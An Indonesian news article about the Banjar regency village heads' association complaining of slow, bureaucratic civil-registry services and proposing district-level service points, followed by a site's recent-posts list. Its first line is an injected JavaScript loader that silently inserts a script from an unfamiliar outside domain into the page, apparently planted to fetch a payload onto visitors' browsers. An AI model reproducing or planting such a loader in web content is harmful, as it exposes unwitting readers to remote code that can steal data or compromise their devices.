(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Layanan Publik

Ini Masalah-masalah di Disdukcapil Banjar Keluhan Apdesi Kabupaten Banjar


MARTAPURA, Asosiasi Pemerintah Desa Seluruh Indonesia (Apdesi) Kebupaten Banjar keluhkan lemahnya pelayanan publik di Dinas Kependudukan dan Catatan Sipil Kabupaten Banjar.

Muhammad Gazali, Ketua Adpesi Kabupaten Banjar mengungkapkan kekecewaan kades beserta perangkat desa tentang lambatnya pelayanan publik yang diterapkan oleh Disdukcapil Kabupaten Banjar saat ini.

“Tidak hanya itu, prosedur dan birokrasi yang diterapkan terkesan dipersulit,” ujarnya.

Gazali mengatakan, banyak warga di masing-masing desa se Kabupaten Banjar rata-rata mengeluh setiap berurusan di Disdukcapil Banjar merasa dipersulit.

“Bayangkan untuk mengurus satu berkas saja, mereka harus bolak-balik dengan jaraknya yang tidak dekat, bahkan untuk mendapatkan tanda tangan Kepala Dinas saja memerlukan waktu selama tiga hari, itu pun paling cepat, jika Kepala Dinas sedang tidak ada bisa sampai satu minggu, bahkan lebih,” beber ujar Gazali.

Apdesi Kabupaten Banjar juga menyoroti adanya peraturan dari Disdukcapil, dimana untuk pembuatan KTP harus yang bersangkutan mengambil sendiri. “Tidak sedikit ada warga yang telah berusia lanjut kesulitan mengurus KTP. Untuk permasalahan ini sebenarnya sudah disampaikan ke Kecamatan agar bisa dikoordinasikan ke dinas terkait, namun sampai saat ini belum juga disikapi,” bebernya.

Pendaftaran antrean di Disdukcapil turun menjadi sorotan, karena ada pembatasan antrean oleh pihak Disdukcapil setiap hari pelayanan.

Foto : rendy

Untuk itu, Apdesi Kabupaten Banjar mengusulkan adanya layanan zona kecamatan, tentunya untuk memudahkan pelayanan untuk masyarakat.

“Misalnya di setiap kecamatan harus ada orang-orang dari Disdukcapil agar bisa melayani masyarakat tak perlu ke ibukota kabupaten, apalgi yang berjarak sangat jauh dari Martapura,” sebut Gazali.

Harapan Apdesi Kabupaten Banjar, ada operator dari Disdukcapil di setiap kecamatan, agar warga tidak jauh-jauh perlu ke kabupaten. “Khususnya warga yang rumahnya jauh dari ibu kota kabupaten, bisa mengurangi biaya dan menghemat waktu bagi masyarakat yang kurang mampu,” pungkasnya.

Sebelumnya terkait penilaian pelayanan publik di Disdukcapil oleh Ombudsman RI Perwakilan Kalsel menyatakan bahwa pelayanan yang diberikan Disdukcapil  hanya mempunyai kualitas yang sedang. (rendy)

Reporter : Rendy
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

1 jam ago

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

5 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

5 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

6 jam ago

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

7 jam ago

Pungut Sampah Suporter Timnas Pasca Nobar di Balai Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Suporter setia Timnas Indonesia di Kota Banjarbaru Kalimantan Selatan (Kalsel) kompak membersihkan… Read More

9 jam ago

This website uses cookies.